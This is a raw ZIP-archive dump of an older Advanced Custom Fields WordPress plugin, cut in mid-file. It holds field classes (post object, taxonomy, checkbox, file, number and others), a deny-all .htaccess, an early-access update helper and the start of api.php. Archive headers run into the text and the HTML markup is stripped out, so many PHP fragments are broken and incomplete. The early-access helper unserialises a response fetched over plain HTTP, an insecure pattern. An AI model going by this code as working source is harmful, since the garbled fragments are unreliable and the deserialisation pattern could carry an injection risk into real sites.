3.6 * @date 23/01/13 */ function create_field( $field ) { // global global $post; // vars $args = array( 'numberposts' => -1, 'post_type' => null, 'orderby' => 'title', 'order' => 'ASC', 'post_status' => array('publish', 'private', 'draft', 'inherit', 'future'), 'suppress_filters' => false, ); // load all post types by default if( in_array('all', $field['post_type']) ) { $field['post_type'] = apply_filters('acf/get_post_types', array()); } // create tax queries if( ! in_array('all', $field['taxonomy']) ) { // vars $taxonomies = array(); $args['tax_query'] = array(); foreach( $field['taxonomy'] as $v ) { // find term (find taxonomy!) // $term = array( 0 => $taxonomy, 1 => $term_id ) $term = explode(':', $v); // validate if( !is_array($term) || !isset($term[1]) ) { continue; } // add to tax array $taxonomies[ $term[0] ][] = $term[1]; } // now create the tax queries foreach( $taxonomies as $k => $v ) { $args['tax_query'][] = array( 'taxonomy' => $k, 'field' => 'id', 'terms' => $v, ); } } // Change Field into a select $field['type'] = 'select'; $field['choices'] = array(); foreach( $field['post_type'] as $post_type ) { // set post_type $args['post_type'] = $post_type; // set order $get_pages = false; if( is_post_type_hierarchical($post_type) && !isset($args['tax_query']) ) { $args['sort_column'] = 'menu_order, post_title'; $args['sort_order'] = 'ASC'; $get_pages = true; } // filters $args = apply_filters('acf/fields/post_object/query', $args, $field, $post); $args = apply_filters('acf/fields/post_object/query/name=' . $field['_name'], $args, $field, $post ); $args = apply_filters('acf/fields/post_object/query/key=' . $field['key'], $args, $field, $post ); if( $get_pages ) { $posts = get_pages( $args ); } else { $posts = get_posts( $args ); } if($posts) { foreach( $posts as $p ) { // title $title = get_the_title( $p->ID ); // empty if( $title === '' ) { $title = __('(no title)', 'acf'); } // ancestors if( $p->post_type != 'attachment' ) { $ancestors = get_ancestors( $p->ID, $p->post_type ); $title = str_repeat('- ', count($ancestors)) . $title; } // status if( get_post_status( $p->ID ) != "publish" ) { $title .= ' (' . get_post_status( $p->ID ) . ')'; } // WPML if( defined('ICL_LANGUAGE_CODE') ) { $title .= ' (' . ICL_LANGUAGE_CODE . ')'; } // filters $title = apply_filters('acf/fields/post_object/result', $title, $p, $field, $post); $title = apply_filters('acf/fields/post_object/result/name=' . $field['_name'] , $title, $p, $field, $post); $title = apply_filters('acf/fields/post_object/result/key=' . $field['key'], $title, $p, $field, $post); // add to choices if( count($field['post_type']) == 1 ) { $field['choices'][ $p->ID ] = $title; } else { // group by post type $post_type_object = get_post_type_object( $p->post_type ); $post_type_name = $post_type_object->labels->name; $field['choices'][ $post_type_name ][ $p->ID ] = $title; } } // foreach( $posts as $post ) } // if($posts) } // foreach( $field['post_type'] as $post_type ) // create field do_action('acf/create_field', $field ); } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { // vars $key = $field['name']; ?> __("All",'acf') ); $choices = apply_filters('acf/get_post_types', $choices); do_action('acf/create_field', array( 'type' => 'select', 'name' => 'fields['.$key.'][post_type]', 'value' => $field['post_type'], 'choices' => $choices, 'multiple' => 1, )); ?> array( 'all' => __("All",'acf') ) ); $simple_value = false; $choices = apply_filters('acf/get_taxonomies_for_select', $choices, $simple_value); do_action('acf/create_field', array( 'type' => 'select', 'name' => 'fields['.$key.'][taxonomy]', 'value' => $field['taxonomy'], 'choices' => $choices, 'multiple' => 1, )); ?> 'radio', 'name' => 'fields['.$key.'][allow_null]', 'value' => $field['allow_null'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?> 'radio', 'name' => 'fields['.$key.'][multiple]', 'value' => $field['multiple'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?> -1, 'post__in' => $value, 'post_type' => apply_filters('acf/get_post_types', array()), 'post_status' => array('publish', 'private', 'draft', 'inherit', 'future'), )); $ordered_posts = array(); foreach( $posts as $post ) { // create array to hold value data $ordered_posts[ $post->ID ] = $post; } // override value array with attachments foreach( $value as $k => $v) { // check that post exists (my have been trashed) if( !isset($ordered_posts[ $v ]) ) { unset( $value[ $k ] ); } else { $value[ $k ] = $ordered_posts[ $v ]; } } } else { $value = get_post($value); } // return the value return $value; } /* * update_value() * * This filter is appied to the $value before it is updated in the db * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which will be saved in the database * @param $post_id - the $post_id of which the value will be saved * @param $field - the field array holding all the field options * * @return $value - the modified value */ function update_value( $value, $post_id, $field ) { // validate if( empty($value) ) { return $value; } if( is_object($value) && isset($value->ID) ) { // object $value = $value->ID; } elseif( is_array($value) ) { // array foreach( $value as $k => $v ){ // object? if( is_object($v) && isset($v->ID) ) { $value[ $k ] = $v->ID; } } // save value as strings, so we can clearly search for them in SQL LIKE statements $value = array_map('strval', $value); } return $value; } } new acf_field_post_object(); ?>PK;hZ^mmfields/text.phpnuW+Aname = 'text'; $this->label = __("Text",'acf'); $this->defaults = array( 'default_value' => '', 'formatting' => 'html', 'maxlength' => '', 'placeholder' => '', 'prepend' => '', 'append' => '' ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $o = array( 'id', 'class', 'name', 'value', 'placeholder' ); $e = ''; // maxlength if( $field['maxlength'] !== "" ) { $o[] = 'maxlength'; } // prepend if( $field['prepend'] !== "" ) { $field['class'] .= ' acf-is-prepended'; $e .= '
    ' . $field['prepend'] . '
    '; } // append if( $field['append'] !== "" ) { $field['class'] .= ' acf-is-appended'; $e .= '
    ' . $field['append'] . '
    '; } $e .= '
    '; $e .= '

    'text', 'name' => 'fields[' .$key.'][default_value]', 'value' => $field['default_value'], )); ?>

    'text', 'name' => 'fields[' .$key.'][placeholder]', 'value' => $field['placeholder'], )); ?>

    'text', 'name' => 'fields[' .$key.'][prepend]', 'value' => $field['prepend'], )); ?>

    'text', 'name' => 'fields[' .$key.'][append]', 'value' => $field['append'], )); ?>

    'select', 'name' => 'fields['.$key.'][formatting]', 'value' => $field['formatting'], 'choices' => array( 'none' => __("No formatting",'acf'), 'html' => __("Convert HTML into tags",'acf') ) )); ?>

    'number', 'name' => 'fields[' .$key.'][maxlength]', 'value' => $field['maxlength'], )); ?> PK;hZF%22fields/taxonomy.phpnuW+Aname = 'taxonomy'; $this->label = __("Taxonomy",'acf'); $this->category = __("Relational",'acf'); $this->defaults = array( 'taxonomy' => 'category', 'field_type' => 'checkbox', 'allow_null' => 0, 'load_save_terms' => 0, 'multiple' => 0, 'return_format' => 'id' ); // do not delete! parent::__construct(); } /* * get_terms * * This function will return an array of terms for a given field value * * @type function * @date 13/06/2014 * @since 5.0.0 * * @param $value (array) * @return $value */ function get_terms( $value, $taxonomy = 'category' ) { // load terms in 1 query to save multiple DB calls from following code if( count($value) > 1 ) { $terms = get_terms($taxonomy, array( 'hide_empty' => false, 'include' => $value, )); } // update value to include $post foreach( array_keys($value) as $i ) { $value[ $i ] = get_term( $value[ $i ], $taxonomy ); } // filter out null values $value = array_filter($value); // return return $value; } /* * load_value() * * This filter is appied to the $value after it is loaded from the db * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value found in the database * @param $post_id - the $post_id from which the value was loaded from * @param $field - the field array holding all the field options * * @return $value - the value to be saved in te database */ function load_value( $value, $post_id, $field ) { // get valid terms $value = acf_get_valid_terms($value, $field['taxonomy']); // load/save if( $field['load_save_terms'] ) { // bail early if no value if( empty($value) ) { return $value; } // get current ID's $term_ids = wp_get_object_terms($post_id, $field['taxonomy'], array('fields' => 'ids', 'orderby' => 'none')); // case if( empty($term_ids) ) { // 1. no terms for this post return null; } elseif( is_array($value) ) { // 2. remove metadata terms which are no longer for this post $value = array_map('intval', $value); $value = array_intersect( $value, $term_ids ); } elseif( !in_array($value, $term_ids)) { // 3. term is no longer for this post return null; } } // return return $value; } /* * update_value() * * This filter is appied to the $value before it is updated in the db * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which will be saved in the database * @param $field - the field array holding all the field options * @param $post_id - the $post_id of which the value will be saved * * @return $value - the modified value */ function update_value( $value, $post_id, $field ) { // vars if( is_array($value) ) { $value = array_filter($value); } // load_save_terms if( $field['load_save_terms'] ) { // vars $taxonomy = $field['taxonomy']; // force value to array $term_ids = acf_force_type_array( $value ); // convert to int $term_ids = array_map('intval', $term_ids); // bypass $this->set_terms if called directly from update_field if( !did_action('acf/save_post') ) { wp_set_object_terms( $post_id, $term_ids, $taxonomy, false ); return $value; } // initialize if( empty($this->set_terms) ) { // create holder $this->set_terms = array(); // add action add_action('acf/save_post', array($this, 'set_terms'), 15, 1); } // append if( empty($this->set_terms[ $taxonomy ]) ) { $this->set_terms[ $taxonomy ] = array(); } $this->set_terms[ $taxonomy ] = array_merge($this->set_terms[ $taxonomy ], $term_ids); } // return return $value; } /* * set_terms * * description * * @type function * @date 26/11/2014 * @since 5.0.9 * * @param $post_id (int) * @return $post_id (int) */ function set_terms( $post_id ) { // bail ealry if no terms if( empty($this->set_terms) ) { return; } // loop over terms foreach( $this->set_terms as $taxonomy => $term_ids ){ wp_set_object_terms( $post_id, $term_ids, $taxonomy, false ); } // reset array ( WP saves twice ) $this->set_terms = array(); } /* * format_value_for_api() * * This filter is appied to the $value after it is loaded from the db and before it is passed back to the api functions such as the_field * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which was loaded from the database * @param $post_id - the $post_id from which the value was loaded * @param $field - the field array holding all the field options * * @return $value - the modified value */ function format_value_for_api( $value, $post_id, $field ) { // bail early if no value if( empty($value) ) { return $value; } // force value to array $value = acf_force_type_array( $value ); // convert values to int $value = array_map('intval', $value); // load posts if needed if( $field['return_format'] == 'object' ) { // get posts $value = $this->get_terms( $value, $field["taxonomy"] ); } // convert back from array if neccessary if( $field['field_type'] == 'select' || $field['field_type'] == 'radio' ) { $value = array_shift($value); } // return return $value; } /* * create_field() * * Create the HTML interface for your field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_field( $field ) { // vars $single_name = $field['name']; // multi select? if( $field['field_type'] == 'multi_select' ) { $field['multiple'] = 1; $field['field_type'] = 'select'; $field['name'] .= '[]'; } elseif( $field['field_type'] == 'checkbox' ) { $field['name'] .= '[]'; } // value must be array! if( !is_array($field['value']) ) { $field['value'] = array( $field['value'] ); } // vars $args = array( 'taxonomy' => $field['taxonomy'], 'hide_empty' => false, 'style' => 'none', 'walker' => new acf_taxonomy_field_walker( $field ), ); $args = apply_filters('acf/fields/taxonomy/wp_list_categories', $args, $field ); ?>
    name, $ignore) ) { continue; } $choices[ $taxonomy->name ] = $taxonomy->name; } do_action('acf/create_field', array( 'type' => 'select', 'name' => 'fields['.$key.'][taxonomy]', 'value' => $field['taxonomy'], 'choices' => $choices, )); ?> 'select', 'name' => 'fields['.$key.'][field_type]', 'value' => $field['field_type'], 'optgroup' => true, 'choices' => array( __("Multiple Values",'acf') => array( 'checkbox' => __('Checkbox', 'acf'), 'multi_select' => __('Multi Select', 'acf') ), __("Single Value",'acf') => array( 'radio' => __('Radio Buttons', 'acf'), 'select' => __('Select', 'acf') ) ) )); ?> 'radio', 'name' => 'fields['.$key.'][allow_null]', 'value' => $field['allow_null'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?> 'true_false', 'name' => 'fields['.$key.'][load_save_terms]', 'value' => $field['load_save_terms'], 'message' => __("Load value based on the post's terms and update the post's terms on save",'acf') )); ?> 'radio', 'name' => 'fields['.$key.'][return_format]', 'value' => $field['return_format'], 'layout' => 'horizontal', 'choices' => array( 'object' => __("Term Object",'acf'), 'id' => __("Term ID",'acf') ) )); ?> 'parent', 'id' => 'term_id' ); // construct function __construct( $field ) { $this->field = $field; } // start_el function start_el( &$output, $term, $depth = 0, $args = array(), $current_object_id = 0) { // vars $selected = in_array( $term->term_id, $this->field['value'] ); if( $this->field['field_type'] == 'checkbox' ) { $output .= '
  • '; } elseif( $this->field['field_type'] == 'radio' ) { $output .= '
  • '; } elseif( $this->field['field_type'] == 'select' ) { $indent = str_repeat("— ", $depth); $output .= ''; } } //end_el function end_el( &$output, $term, $depth = 0, $args = array() ) { if( in_array($this->field['field_type'], array('checkbox', 'radio')) ) { $output .= '
  • '; } $output .= "\n"; } // start_lvl function start_lvl( &$output, $depth = 0, $args = array() ) { // indent //$output .= str_repeat( "\t", $depth); // wrap element if( in_array($this->field['field_type'], array('checkbox', 'radio')) ) { $output .= '
      ' . "\n"; } } // end_lvl function end_lvl( &$output, $depth = 0, $args = array() ) { // indent //$output .= str_repeat( "\t", $depth); // wrap element if( in_array($this->field['field_type'], array('checkbox', 'radio')) ) { $output .= '
    ' . "\n"; } } } ?>PK;hZQ[[fields/tab.phpnuW+Aname = 'tab'; $this->label = __("Tab",'acf'); $this->category = __("Layout",'acf'); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { echo '
    ' . $field['label'] . '
    '; } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_options( $field ) { ?>

    PK;hZזK K fields/true_false.phpnuW+Aname = 'true_false'; $this->label = __("True / False",'acf'); $this->category = __("Choice",'acf'); $this->defaults = array( 'default_value' => 0, 'message' => '', ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // html echo '
      '; echo ''; $selected = ($field['value'] == 1) ? 'checked="yes"' : ''; echo '
    • '; echo '
    '; } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { // vars $key = $field['name']; ?>

    'text', 'name' => 'fields['.$key.'][message]', 'value' => $field['message'], )); ?> 'true_false', 'name' => 'fields['.$key.'][default_value]', 'value' => $field['default_value'], )); ?> PK;hZXHAAfields/dummy.phpnuW+Aname = 'dummy'; $this->label = __('Dummy'); // do not delete! parent::__construct(); } /* * load_value() * * This filter is appied to the $value after it is loaded from the db * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value found in the database * @param $post_id - the $post_id from which the value was loaded from * @param $field - the field array holding all the field options * * @return $value - the value to be saved in te database */ function load_value( $value, $post_id, $field ) { return $value; } /* * format_value() * * This filter is appied to the $value after it is loaded from the db and before it is passed to the create_field action * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which was loaded from the database * @param $post_id - the $post_id from which the value was loaded * @param $field - the field array holding all the field options * * @return $value - the modified value */ function format_value( $value, $post_id, $field ) { return $value; } /* * format_value_for_api() * * This filter is appied to the $value after it is loaded from the db and before it is passed back to the api functions such as the_field * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which was loaded from the database * @param $post_id - the $post_id from which the value was loaded * @param $field - the field array holding all the field options * * @return $value - the modified value */ function format_value_for_api( $value, $post_id, $field ) { return $value; } /* * update_value() * * This filter is appied to the $value before it is updated in the db * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which will be saved in the database * @param $field - the field array holding all the field options * @param $post_id - the $post_id of which the value will be saved * * @return $value - the modified value */ function update_value( $value, $post_id, $field ) { return $value; } /* * load_field() * * This filter is appied to the $field after it is loaded from the database * * @type filter * @since 3.6 * @date 23/01/13 * * @param $field - the field array holding all the field options * * @return $field - the field array holding all the field options */ function load_field( $field ) { return $field; } /* * update_field() * * This filter is appied to the $field before it is saved to the database * * @type filter * @since 3.6 * @date 23/01/13 * * @param $field - the field array holding all the field options * @param $post_id - the field group ID (post_type = acf) * * @return $field - the modified field */ function update_field( $field, $post_id ) { return $field; } /* * create_field() * * Create the HTML interface for your field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_field( $field ) { } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { } /* * input_admin_enqueue_scripts() * * This action is called in the admin_enqueue_scripts action on the edit screen where your field is created. * Use this action to add css + javascript to assist your create_field() action. * * $info http://codex.wordpress.org/Plugin_API/Action_Reference/admin_enqueue_scripts * @type action * @since 3.6 * @date 23/01/13 */ function input_admin_enqueue_scripts() { } /* * input_admin_head() * * This action is called in the admin_head action on the edit screen where your field is created. * Use this action to add css and javascript to assist your create_field() action. * * @info http://codex.wordpress.org/Plugin_API/Action_Reference/admin_head * @type action * @since 3.6 * @date 23/01/13 */ function input_admin_head() { } /* * field_group_admin_enqueue_scripts() * * This action is called in the admin_enqueue_scripts action on the edit screen where your field is edited. * Use this action to add css + javascript to assist your create_field_options() action. * * $info http://codex.wordpress.org/Plugin_API/Action_Reference/admin_enqueue_scripts * @type action * @since 3.6 * @date 23/01/13 */ function field_group_admin_enqueue_scripts() { } /* * field_group_admin_head() * * This action is called in the admin_head action on the edit screen where your field is edited. * Use this action to add css and javascript to assist your create_field_options() action. * * @info http://codex.wordpress.org/Plugin_API/Action_Reference/admin_head * @type action * @since 3.6 * @date 23/01/13 */ function field_group_admin_head() { } } // create field new acf_field_dummy(); /*--------------------------------------- fuctions.php ----------------------------------------------------*/ add_action('acf/register_fields', 'my_register_fields'); function my_register_fields() { include_once('fields/dummy.php'); } ?>PK;hZ Zfields/checkbox.phpnuW+Aname = 'checkbox'; $this->label = __("Checkbox",'acf'); $this->category = __("Choice",'acf'); $this->defaults = array( 'layout' => 'vertical', 'choices' => array(), 'default_value' => '', ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // value must be array if( !is_array($field['value']) ) { // perhaps this is a default value with new lines in it? if( strpos($field['value'], "\n") !== false ) { // found multiple lines, explode it $field['value'] = explode("\n", $field['value']); } else { $field['value'] = array( $field['value'] ); } } // trim value $field['value'] = array_map('trim', $field['value']); // vars $i = 0; $e = ''; $e .= '
      '; // checkbox saves an array $field['name'] .= '[]'; // foreach choices foreach( $field['choices'] as $key => $value ) { // vars $i++; $atts = ''; if( in_array($key, $field['value']) ) { $atts = 'checked="yes"'; } if( isset($field['disabled']) && in_array($key, $field['disabled']) ) { $atts .= ' disabled="true"'; } // each checkbox ID is generated with the $key, however, the first checkbox must not use $key so that it matches the field's label for attribute $id = $field['id']; if( $i > 1 ) { $id .= '-' . $key; } $e .= '
    • '; } $e .= '
    '; // return echo $e; } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { // vars $key = $field['name']; // implode checkboxes so they work in a textarea if( is_array($field['choices']) ) { foreach( $field['choices'] as $k => $v ) { $field['choices'][ $k ] = $k . ' : ' . $v; } $field['choices'] = implode("\n", $field['choices']); } ?>


    'textarea', 'class' => 'textarea field_option-choices', 'name' => 'fields['.$key.'][choices]', 'value' => $field['choices'], )); ?>

    'textarea', 'name' => 'fields['.$key.'][default_value]', 'value' => $field['default_value'], )); ?> 'radio', 'name' => 'fields['.$key.'][layout]', 'value' => $field['layout'], 'layout' => 'horizontal', 'choices' => array( 'vertical' => __("Vertical",'acf'), 'horizontal' => __("Horizontal",'acf') ) )); ?> PK;hZ05 5 fields/file.phpnuW+Aname = 'file'; $this->label = __("File",'acf'); $this->category = __("Content",'acf'); $this->defaults = array( 'save_format' => 'object', 'library' => 'all' ); $this->l10n = array( 'select' => __("Select File",'acf'), 'edit' => __("Edit File",'acf'), 'update' => __("Update File",'acf'), 'uploadedTo' => __("Uploaded to this post",'acf'), ); // do not delete! parent::__construct(); // filters add_filter('get_media_item_args', array($this, 'get_media_item_args')); add_filter('wp_prepare_attachment_for_js', array($this, 'wp_prepare_attachment_for_js'), 10, 3); // JSON add_action('wp_ajax_acf/fields/file/get_files', array($this, 'ajax_get_files')); add_action('wp_ajax_nopriv_acf/fields/file/get_files', array($this, 'ajax_get_files'), 10, 1); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $o = array( 'class' => '', 'icon' => '', 'title' => '', 'size' => '', 'url' => '', 'name' => '', ); if( $field['value'] && is_numeric($field['value']) ) { $file = get_post( $field['value'] ); if( $file ) { $o['class'] = 'active'; $o['icon'] = wp_mime_type_icon( $file->ID ); $o['title'] = $file->post_title; $o['size'] = size_format(filesize( get_attached_file( $file->ID ) )); $o['url'] = wp_get_attachment_url( $file->ID ); $explode = explode('/', $o['url']); $o['name'] = end( $explode ); } } ?>
    • .
    'radio', 'name' => 'fields['.$key.'][save_format]', 'value' => $field['save_format'], 'layout' => 'horizontal', 'choices' => array( 'object' => __("File Object",'acf'), 'url' => __("File URL",'acf'), 'id' => __("File ID",'acf') ) )); ?> 'radio', 'name' => 'fields['.$key.'][library]', 'value' => $field['library'], 'layout' => 'horizontal', 'choices' => array( 'all' => __('All', 'acf'), 'uploadedTo' => __('Uploaded to post', 'acf') ) )); ?> $attachment->ID, 'alt' => get_post_meta($attachment->ID, '_wp_attachment_image_alt', true), 'title' => $attachment->post_title, 'caption' => $attachment->post_excerpt, 'description' => $attachment->post_content, 'mime_type' => $attachment->post_mime_type, 'url' => wp_get_attachment_url( $attachment->ID ), ); } return $value; } /* * get_media_item_args * * @description: * @since: 3.6 * @created: 27/01/13 */ function get_media_item_args( $vars ) { $vars['send'] = true; return($vars); } /* * ajax_get_files * * @description: * @since: 3.5.7 * @created: 13/01/13 */ function ajax_get_files() { // vars $options = array( 'nonce' => '', 'files' => array() ); $return = array(); // load post options $options = array_merge($options, $_POST); // verify nonce if( ! wp_verify_nonce($options['nonce'], 'acf_nonce') ) { die(0); } if( $options['files'] ) { foreach( $options['files'] as $id ) { $o = array(); $file = get_post( $id ); $o['id'] = $file->ID; $o['icon'] = wp_mime_type_icon( $file->ID ); $o['title'] = $file->post_title; $o['size'] = size_format(filesize( get_attached_file( $file->ID ) )); $o['url'] = wp_get_attachment_url( $file->ID ); $o['name'] = end(explode('/', $o['url'])); $return[] = $o; } } // return json echo json_encode( $return ); die; } /* * update_value() * * This filter is appied to the $value before it is updated in the db * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which will be saved in the database * @param $post_id - the $post_id of which the value will be saved * @param $field - the field array holding all the field options * * @return $value - the modified value */ function update_value( $value, $post_id, $field ) { // array? if( is_array($value) && isset($value['id']) ) { $value = $value['id']; } // object? if( is_object($value) && isset($value->ID) ) { $value = $value->ID; } return $value; } /* * wp_prepare_attachment_for_js * * this filter allows ACF to add in extra data to an attachment JS object * * @type function * @date 1/06/13 * * @param {int} $post_id * @return {int} $post_id */ function wp_prepare_attachment_for_js( $response, $attachment, $meta ) { // default $fs = '0 kb'; // supress PHP warnings caused by corrupt images if( $i = @filesize( get_attached_file( $attachment->ID ) ) ) { $fs = size_format( $i ); } // update JSON $response['filesize'] = $fs; // return return $response; } } new acf_field_file(); ?>PK;hZπfields/number.phpnuW+Aname = 'number'; $this->label = __("Number",'acf'); $this->defaults = array( 'default_value' => '', 'min' => '', 'max' => '', 'step' => '', 'placeholder' => '', 'prepend' => '', 'append' => '' ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $o = array( 'id', 'class', 'min', 'max', 'step', 'name', 'value', 'placeholder' ); $e = ''; // step if( !$field['step'] ) { $field['step'] = 'any'; } // prepend if( $field['prepend'] !== "" ) { $field['class'] .= ' acf-is-prepended'; $e .= '
    ' . $field['prepend'] . '
    '; } // append if( $field['append'] !== "" ) { $field['class'] .= ' acf-is-appended'; $e .= '
    ' . $field['append'] . '
    '; } $e .= '
    '; $e .= '

    'number', 'name' => 'fields['.$key.'][default_value]', 'value' => $field['default_value'], )); ?>

    'text', 'name' => 'fields[' .$key.'][placeholder]', 'value' => $field['placeholder'], )); ?>

    'text', 'name' => 'fields[' .$key.'][prepend]', 'value' => $field['prepend'], )); ?>

    'text', 'name' => 'fields[' .$key.'][append]', 'value' => $field['append'], )); ?> 'number', 'name' => 'fields['.$key.'][min]', 'value' => $field['min'], )); ?> 'number', 'name' => 'fields['.$key.'][max]', 'value' => $field['max'], )); ?> 'number', 'name' => 'fields['.$key.'][step]', 'value' => $field['step'], )); ?> PK;hZ0{{fields/.htaccessnuW+A Order allow,deny Deny from all PK;hZ;'  early-access.phpnuW+Aaccess = (string) ACF_EARLY_ACCESS; //$this->basename = apply_filters('acf/get_info', 'basename'); // modify plugins transient add_filter( 'pre_set_site_transient_update_plugins', array($this, 'modify_plugins_transient'), 10, 1 ); add_filter( 'site_transient_update_plugins', array($this, 'check_plugins_transient'), 10, 1 ); // admin if( is_admin() ) { // modify plugin update message add_action('in_plugin_update_message-' . $this->basename, array($this, 'modify_plugin_update_message'), 10, 2 ); } } /** * request * * This function will make a request to an external server * * @type function * @date 8/4/17 * @since 1.0.0 * * @param $url (string) * @param $body (array) * @return (mixed) */ function request( $url = '', $body = null ) { // post $raw_response = wp_remote_post($url, array( 'timeout' => 10, 'body' => $body )); // wp error if( is_wp_error($raw_response) ) { return $raw_response; // http error } elseif( wp_remote_retrieve_response_code($raw_response) != 200 ) { return new WP_Error( 'server_error', wp_remote_retrieve_response_message($raw_response) ); } // vars $raw_body = wp_remote_retrieve_body($raw_response); // attempt object $obj = @unserialize( $raw_body ); if( $obj ) return $obj; // attempt json $json = json_decode( $raw_body, true ); if( $json ) return $json; // return return $json; } /** * get_plugin_info * * This function will get plugin info and save as transient * * @type function * @date 9/4/17 * @since 1.0.0 * * @param n/a * @return (array) */ function get_plugin_info() { // var $transient_name = 'acf_early_access_info'; // delete transient (force-check is used to refresh) if( !empty($_GET['force-check']) ) { delete_transient($transient_name); } // try transient $transient = get_transient($transient_name); if( $transient !== false ) return $transient; // connect $response = $this->request('http://api.wordpress.org/plugins/info/1.0/advanced-custom-fields'); // ensure response is expected object if( !is_wp_error($response) ) { // store minimal data $info = array( 'version' => $response->version, 'versions' => array_keys( $response->versions ), 'tested' => $response->tested ); // order versions (latest first) $info['versions'] = array_reverse($info['versions']); // update var $response = $info; } // update transient set_transient($transient_name, $response, HOUR_IN_SECONDS); // return return $response; } /** * check_plugins_transient * * This function will check the 'update_plugins' transient and maybe modify it's value * * @date 19/9/17 * @since 5.6.3 * * @param n/a * @return n/a */ function check_plugins_transient( $transient ) { // bail ealry if has been checked if( $this->checked ) return $transient; $this->checked = true; // vars $basename = $this->basename; // bail early if empty if( !$transient || empty($transient->checked) ) return $transient; // bail early if acf was not checked // - rules out possible included file in theme / plugin if( !isset($transient->checked[ $basename ]) ) return $transient; // flush cache if no 'acf' update exists // flush cache if 'acf' update does not contain early access info // flush cache if 'acf' update contains different early access info if( empty($transient->response[ $basename ]) || empty($transient->response[ $basename ]->early_access) || $transient->response[ $basename ]->early_access !== $this->access ) { wp_clean_plugins_cache(); } // return return $transient; } /** * modify_plugins_transient * * This function will modify the 'update_plugins' transient with custom data * * @type function * @date 11/9/17 * @since 1.0.0 * * @param $transient (object) * @return $transient */ function modify_plugins_transient( $transient ) { // vars $basename = $this->basename; // bail early if empty if( !$transient || empty($transient->checked) ) return $transient; // bail early if acf was not checked // - rules out possible included file in theme / plugin if( !isset($transient->checked[ $basename ]) ) return $transient; // bail early if already modified if( !empty($transient->response[ $basename ]->early_access) ) return $transient; // vars $info = $this->get_plugin_info(); $old_version = $transient->checked[ $basename ]; $new_version = ''; // attempt to find latest tag foreach( $info['versions'] as $version ) { // ignore trunk if( $version == 'trunk' ) continue; // restirct versions that don't start with '5' if( strpos($version, $this->access) !== 0 ) continue; // ignore if $version is older than $old_version if( version_compare($version, $old_version, '<=') ) continue; // ignore if $version is older than $new_version if( version_compare($version, $new_version, '<=') ) continue; // this tag is a newer version! $new_version = $version; } // bail ealry if no $new_version if( !$new_version ) return $transient; // response $response = new stdClass(); $response->id = 'w.org/plugins/advanced-custom-fields'; $response->slug = 'advanced-custom-fields'; $response->plugin = $basename; $response->new_version = $new_version; $response->url = 'https://wordpress.org/plugins/advanced-custom-fields/'; $response->package = 'https://downloads.wordpress.org/plugin/advanced-custom-fields.'.$new_version.'.zip'; $response->tested = $info['tested']; $response->early_access = $this->access; // append $transient->response[ $basename ] = $response; // return return $transient; } /* * modify_plugin_update_message * * Displays an update message for plugin list screens. * * @type function * @date 14/06/2016 * @since 5.3.8 * * @param $message (string) * @param $plugin_data (array) * @param $r (object) * @return $message */ function modify_plugin_update_message( $plugin_data, $response ) { // display message echo ' ' . __('(Early access enabled)', 'acf') . ''; } } // instantiate new acf_early_access(); endif; // class_exists check ?>PK;hZ< MMapi.phpnuW+Aget_col($wpdb->prepare( "SELECT meta_value FROM $wpdb->postmeta WHERE post_id = %d and meta_key LIKE %s AND meta_value LIKE %s", $post_id, '_%', 'field_%' )); } elseif( strpos($post_id, 'user_') !== false ) { $user_id = str_replace('user_', '', $post_id); $keys = $wpdb->get_col($wpdb->prepare( "SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d and meta_key LIKE %s AND meta_value LIKE %s", $user_id, '_%', 'field_%' )); } else { $keys = $wpdb->get_col($wpdb->prepare( "SELECT option_value FROM 